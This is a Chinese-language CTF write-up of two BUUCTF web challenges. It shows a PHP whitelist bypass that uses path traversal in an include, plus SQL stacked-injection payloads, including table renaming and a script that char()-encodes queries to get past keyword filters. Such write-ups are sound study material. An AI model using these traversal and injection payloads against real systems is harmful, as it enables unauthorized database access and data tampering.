BUUCTF web(一)
前言:最近參加了一場CTF比賽,菜的一批,接下來多練習(xí)web題、MISC、密碼學(xué),多思考,提高一下自己做題的思路,以及代碼審計、編寫腳本的能力。
[HCTF 2018]WarmUp
查看源碼,發(fā)現(xiàn)<!--source.php-->,打開發(fā)現(xiàn)源碼
<?phphighlight_file(__FILE__);if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} //這里我換了下位置,方便自己看class emmm{public static function checkFile(&$page){#flag not here, and flag in ffffllllaaaagggg$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {//is_string() 函數(shù)用于檢測變量是否是字符串echo "you can't see it";return false;}if (in_array($page, $whitelist)) {//in_array() 函數(shù)搜索數(shù)組中是否存在指定的值return true;}//mb_substr() 函數(shù)返回字符串的一部分$_page = mb_substr($page,0,mb_strpos($page . '?', '?')//mb_strpos — 查找字符串在另一個字符串中首次出現(xiàn)的位置);if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}} ?>觀察源碼發(fā)現(xiàn)hint.php,打開發(fā)現(xiàn)flag not here, and flag in ffffllllaaaagggg,觀察到如果滿足相應(yīng)的條件,最后是include引入文件,所以這個信息很有用。我們只需使emmm::checkFile($_REQUEST['file']返回值為true,利用../跳轉(zhuǎn)目錄讀取flag即可
觀察checkFile函數(shù),幾個if語句并列,只要我們滿足其中一個true,即有返回值,便不需要往下繼續(xù)執(zhí)行了
第一個截取的代碼就是關(guān)鍵點,代碼要求輸入的必須擁有白名單中的內(nèi)容,我們直接可以在第一次截取時匹配到白名單的內(nèi)容,接下來一匹配即可返回true
$_page = mb_substr($page,0,mb_strpos($page . '?', '?')//mb_strpos — 查找字符串在另一個字符串中首次出現(xiàn)的位置);if (in_array($_page, $whitelist)) {return true;}現(xiàn)在假設(shè)我的payload為:file=source.php?/../ffffllllaaaagggg,經(jīng)過mb_strpos為source.php?/../ffffllllaaaagggg?,但是mb_strpos這個函數(shù)只返回首次出現(xiàn)的位置,所以還是會返回第一個?的位置,而mb_substr截取函數(shù),從0開始截取一直到第一個?的位置,截取內(nèi)容為source.php,恰好能與白名單中的進行匹配,可以return true;,所以通過第一次截取進行繞過
接下來利用/使source.php?成為一個不存在的目錄,最后include利用../跳轉(zhuǎn)目錄讀取flag即可
payload:
?file=source.php?/../../../../../ffffllllaaaagggg(小白一個,所以內(nèi)容會有些啰嗦)
二、[強網(wǎng)杯 2019]隨便注
注入題,發(fā)現(xiàn)是回顯注入,在測試過程中,發(fā)現(xiàn)
很多重要的關(guān)鍵字都被過濾了,這里剛開始真的不知道應(yīng)該如何繞過,看了大師傅的write up,發(fā)現(xiàn)可以使用堆疊注入,那就來嘗試一波
在此之前那,已經(jīng)測試出'為閉合符號,那就來查詢數(shù)據(jù)庫、數(shù)據(jù)表
數(shù)據(jù)庫
1';show databases;#
數(shù)據(jù)表
再分別查詢1919810931114514表和words表
查詢words表時,發(fā)現(xiàn)有id列,我們隨便輸入數(shù)字時,會回顯出對應(yīng)內(nèi)容,所以回顯內(nèi)容肯定是從word這張表中回顯的
再查詢1919810931114514表
MYSQL中的符號
但是到這里就會出現(xiàn)問題,雖然我們已經(jīng)得到了flag了,但是select被過濾了,而show命令又不能查看值。這就比較頭疼了,不過如果仔細(xì)觀察的話,一開始過濾的并沒有alert 和 rename,我們已經(jīng)知道了words是用來回顯內(nèi)容的,能不能我們把1919810931114514這個表更改名字為words,并增加相應(yīng)的字段,使之回顯原1919810931114514這個表的內(nèi)容那,當(dāng)然是可以的,這種思路。。。大師傅tql
payload:
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;#用1' or '1'='1訪問一下,便可以發(fā)現(xiàn)flag
堆疊注入原理
Stacked injections(堆疊注入),從字母意思便可以看出應(yīng)該是多條sql 語句一起執(zhí)行。在MYSQL命令框中,常以;作為結(jié)束符,那我們是否可以在一句SQL語句結(jié)束后再緊跟一句SQL語句,那接下來就來查看一下吧!
我的測試環(huán)境為PHP5.2+Mysql,在命令框中同時輸入三個命令,發(fā)現(xiàn)
mysql> show databases;use web1;select 1,2,3; +--------------------+ | Database | +--------------------+ | information_schema | | BWVS | | bbs | | challenges | | dvwa | | mysql | | performance_schema | | security | | test | | web1 | +--------------------+ 10 rows in set (0.00 sec)Database changed +---+---+---+ | 1 | 2 | 3 | +---+---+---+ | 1 | 2 | 3 | +---+---+---+ 1 row in set (0.00 sec)確實可以,知道這種方法,可以在select等重要關(guān)鍵字被過濾時考慮使用,但這種方法也是有局限性的:
并不是每一個環(huán)境下都可以執(zhí)行,可能受到API或者數(shù)據(jù)庫引擎不支持的限制,當(dāng)然了權(quán)限不足也可以解釋為什么攻擊者無法修改數(shù)據(jù)或者調(diào)用一些程序
第二種方法——MySQL的SQL預(yù)處理
在絕大多數(shù)情況下,如果需求某一條 SQL 語句可能會被反復(fù)調(diào)用執(zhí)行,或者每次執(zhí)行的時候只有個別的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要經(jīng)過上面的詞法語義解析、語句優(yōu)化、制定執(zhí)行計劃等,則如果使用一般的SQL語句會降低效率。
所謂預(yù)編譯語句就是將此類 SQL 語句中的值用占位符替代,可以視為將 SQL 語句模板化或者說參數(shù)化,一般稱這類語句叫Prepared Statements。
我們目前普遍使用的 MySQL 版本都是支持這一語法:
# 定義預(yù)處理語句 PREPARE stmt_name FROM preparable_stmt; # 執(zhí)行預(yù)處理語句 EXECUTE stmt_name [USING @var_name [, @var_name] ...]; # 刪除(釋放)定義 {DEALLOCATE | DROP} PREPARE stmt_name;利用變量定義預(yù)處理 SQL
mysql> SET @s = 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse'; Query OK, 0 rows affected (0.00 sec)mysql> PREPARE stmt2 FROM @s; Query OK, 0 rows affected (0.18 sec) Statement preparedmysql> SET @a = 6; Query OK, 0 rows affected (0.00 sec)mysql> SET @b = 8; Query OK, 0 rows affected (0.00 sec)mysql> EXECUTE stmt2 USING @a, @b; +------------+ | hypotenuse | +------------+ | 10 | +------------+ 1 row in set (0.19 sec)mysql> DEALLOCATE PREPARE stmt2; Query OK, 0 rows affected (0.00 sec)這種方法也可以繞過一些關(guān)鍵字的檢查,看了一篇大師傅用這種方法繞過關(guān)鍵字的檢查,tql
通過上面的簡單介紹,應(yīng)該會對SQL預(yù)處理語句多少有一些了解了,下面就來做這道題。
字符串轉(zhuǎn)換函數(shù) Ascii(‘x’)或 Char(‘x’)函數(shù)可以bypass,如果一些waf過濾不嚴(yán)的話
大師傅的腳本
payload = "0';set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;" #exp = 'select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()' #exp = "select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='1919810931114514'" exp = "select flag from `1919810931114514`" res = '' for i in exp:res += "char(%s),"%(ord(i)) my_payload = payload%(res[:-1]) print(my_payload)仔細(xì)觀察代碼,發(fā)現(xiàn)是真的巧妙,將exp中的字符一個一個修改成char(’x‘)函數(shù)格式進行繞過關(guān)鍵字,然后那再總結(jié)到一起賦給payload,payload中有預(yù)處理語句,再通過預(yù)處理語句執(zhí)行,真的強
0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(102),char(108),char(97),char(103),char(32),char(102),char(114),char(111),char(109),char(32),char(96),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52),char(96));PREPARE a FROM @s;EXECUTE a;得到flag
參考博客:
2019強網(wǎng)杯Web部分Writeup
通過這兩道題,真的學(xué)習(xí)到了不少知識,自己還是太菜,繼續(xù)做!!!
總結(jié)
以上是生活随笔為你收集整理的BUUCTF web(一)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Jarvis OJ web(一)
- 下一篇: 通过sql-labs进行sql注入学习(